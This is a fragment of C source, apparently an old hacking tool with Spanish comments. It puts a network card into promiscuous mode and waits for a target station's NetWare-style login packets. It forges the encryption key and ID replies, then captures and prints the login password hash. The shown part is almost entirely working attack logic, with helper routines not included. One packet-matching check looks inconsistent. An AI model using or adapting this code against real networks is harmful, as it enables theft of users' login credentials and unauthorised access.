    /*Espera para la peticion de login key y falsificacion de la misma*/

        printf("Waiting for key request\r\n");
        while(NotDone){
                WaitForPacket();
                  if((memcmp(packet+6,SpoofStation,6)==0) &&
                    (packet[PACKET_TYPE]==17) &&
                    (packet[FUNCTION_CODE]==23) &&
                    (packet[SUBFUNC_CODE]==23)){
                     NotDone = FALSE;
                  }
        }
        SendEncryptionKeyReply();


       /*Espera para la peticion de ID y falsificacion */

        printf("Waiting for ID request\r\n");
        NotDone = TRUE;
        while(NotDone){
                WaitForPacket();
                if(memcmp(packet+6,SpoofStation,6)){
                  if((packet[PACKET_TYPE]==17) &&
                   (packet[FUNCTION_CODE]==23) &&
                   (packet[SUBFUNC_CODE]==53)){
                   NotDone = FALSE;
                  }
                }
        }
        SendIDReply();

        /*Espera para la peticion de login y envio del hash*/

        printf("Waiting for login request\r\n");
        NotDone = TRUE;
        while(NotDone){
                WaitForPacket();
                if(memcmp(packet,SpoofStation+6,6) &&
                  (packet[PACKET_TYPE]==17) &&
                  (packet[FUNCTION_CODE]==23) &&
                  (packet[SUBFUNC_CODE]==24)){
                  NotDone = FALSE;
                }
        }
        printf("Hash Received\r\n");
        for(c=KEY_OFFSET;c<KEY_OFFSET+7;c++){printhex(packet[c]);}
        printf("\r\n");
 }
}

void main(){

        Initialize();

        RegisterWithPKTDRV();
        EnterPromiscuousMode();

        WaitForStationLoginRequest();

        RelinquishProtocolStack(); /*Toggles prom mode off*/

}
<-->
---------------------------------------------------------------------------



